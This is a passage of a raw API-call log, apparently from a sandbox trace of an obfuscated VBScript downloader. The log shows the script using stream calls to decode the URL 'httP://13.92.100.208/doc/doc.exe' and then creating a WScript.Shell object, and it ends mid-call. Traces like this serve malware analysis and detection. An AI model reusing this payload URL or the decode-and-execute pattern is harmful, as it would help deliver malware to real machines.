ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.549] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.549] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.549] GetCurrentThreadId () returned 0xd44 [0087.549] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.549] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.549] malloc (_Size=0x804) returned 0x8470df8 [0087.549] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.550] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.550] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.550] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Open", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=10) returned 0x0 [0087.550] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.550] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.550] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.550] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.551] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.551] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ivrejk", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.551] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ivrejk", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.551] GetCurrentThreadId () returned 0xd44 [0087.551] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.551] malloc (_Size=0x404) returned 0x86ea2e0 [0087.552] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.552] malloc (_Size=0x804) returned 0x8470df8 [0087.552] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.552] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.552] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0087.552] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.552] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="write", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=13) returned 0x0 [0087.553] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.553] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.553] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x0, wReserved2=0x3fc, wReserved3=0x0, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d03b28*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0x425)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x0, wReserved2=0x3fc, wReserved3=0x0, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d03b28*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0x425)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.553] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.556] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.556] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.556] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.556] GetCurrentThreadId () returned 0xd44 [0087.556] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.556] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.556] malloc (_Size=0x804) returned 0x8470df8 [0087.556] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.557] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.557] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.557] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Position", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=3) returned 0x0 [0087.557] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.557] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.557] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.557] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.557] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.558] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=4) returned 0x0 [0087.558] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.558] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.558] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0087.558] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.558] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.558] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=8) returned 0x0 [0087.558] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.558] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.558] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x1198dc0)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x1198dc0)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0087.559] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.559] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.559] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.560] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.560] GetCurrentThreadId () returned 0xd44 [0087.560] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.560] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.560] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.560] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.561] GetCurrentThreadId () returned 0xd44 [0087.561] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.561] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.561] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.561] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.561] GetCurrentThreadId () returned 0xd44 [0087.561] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.561] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.562] malloc (_Size=0x804) returned 0x8470df8 [0087.562] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.562] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.562] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.562] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=19) returned 0x0 [0087.562] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.562] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.562] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x0), pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.563] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.563] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0087.563] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154234 | out: ppvObject=0x154234*=0x11977a8) returned 0x0 [0087.563] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fffffffffff", grfdex=0x8, pid=0x154250 | out: pid=0x154250*=1393324) returned 0x80020006 [0087.563] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fffffffffff", grfdex=0x8, pid=0x1541a8 | out: pid=0x1541a8*=-1) returned 0x80020006 [0087.563] GetCurrentThreadId () returned 0xd44 [0087.563] IUnknown:Release (This=0x11977a8) returned 0x9 [0087.564] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.564] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.564] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.564] GetCurrentThreadId () returned 0xd44 [0087.565] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.565] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.565] malloc (_Size=0x804) returned 0x8470df8 [0087.565] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.565] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0087.565] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0087.566] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.566] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.566] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.566] GetCurrentThreadId () returned 0xd44 [0087.566] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.566] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.567] malloc (_Size=0x804) returned 0x8470df8 [0087.567] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.567] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.567] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.567] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Close", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=11) returned 0x0 [0087.567] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.567] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.567] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.567] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.568] free (_Block=0x1197880) [0087.568] free (_Block=0x86ea2e0) [0087.568] free (_Block=0x84750c8) [0087.568] free (_Block=0x83d9f10) [0087.568] ??3@YAXPAX@Z () returned 0xc80001 [0087.569] free (_Block=0x1197838) [0087.569] free (_Block=0x11c29f0) [0087.569] free (_Block=0x847b3d8) [0087.569] free (_Block=0x83d9df8) [0087.569] ??3@YAXPAX@Z () returned 0xb60001 [0087.569] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0087.570] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="strlink", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0087.570] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="strlink", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0087.570] GetCurrentThreadId () returned 0xd44 [0087.570] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.570] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0087.570] SysStringLen (param_1=0x0) returned 0x0 [0087.570] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x1112bf0) returned 0x0 [0087.570] WshShell:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0087.571] WshShell:IClassFactory:CreateInstance (in: This=0x1112bf0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, 